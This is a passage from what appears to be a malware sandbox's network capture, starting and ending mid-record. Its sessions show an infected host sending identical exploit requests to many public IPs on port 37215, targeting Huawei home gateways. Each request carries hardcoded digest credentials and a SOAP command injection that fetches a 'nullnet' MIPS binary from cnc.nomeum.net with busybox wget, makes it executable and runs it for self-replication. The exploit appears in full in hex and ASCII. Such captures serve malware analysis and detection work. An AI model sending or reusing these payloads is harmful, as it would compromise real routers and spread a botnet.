HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.14	58278	41.22.80.120	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473416090 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.14	58672	41.221.110.157	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473440886 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.14	44078	197.171.75.149	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473460913 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.14	51396	41.197.181.19	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473481894 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.14	37230	41.31.154.200	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473505974 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.14	39452	197.194.225.205	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473525047 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.14	40162	41.141.175.121	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473551035 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.14	40618	156.163.205.82	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473572016 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.14	58774	41.113.183.13	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473607063 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.14	46924	41.88.60.157	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473628044 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.14	42944	156.153.138.184	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473654985 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 